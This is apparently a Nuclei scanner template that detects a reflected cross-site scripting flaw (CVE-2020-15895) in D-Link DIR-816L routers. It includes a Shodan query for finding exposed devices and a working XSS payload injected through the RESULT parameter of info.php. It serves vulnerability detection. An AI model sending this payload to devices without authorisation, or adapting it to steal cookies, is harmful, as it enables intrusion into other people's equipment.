id: CVE-2020-15895 info: name: D-Link DIR-816L 2.x - Cross-Site Scripting author: edoardottt severity: medium description: | D-Link DIR-816L devices 2.x before 1.10b04Beta02 contains a cross-site scripting vulnerability. In the file webinc/js/info.php, no output filtration is applied to the RESULT parameter before being printed on the webpage. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow for theft of cookie-based authentication credentials and launch of other attacks. reference: - https://research.loginsoft.com/bugs/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/ - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10169 - https://nvd.nist.gov/vuln/detail/CVE-2020-15895 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-15895 cwe-id: CWE-79 metadata: shodan-query: html:"DIR-816L" tags: cve,cve2020,dlink,xss requests: - method: GET path: - "{{BaseURL}}/info.php?RESULT=\",msgArray);alert(document.domain);//" matchers-condition: and matchers: - type: word part: body words: - ";alert(document.domain);" - "DIR-816L" condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # Enhanced by md on 2023/02/22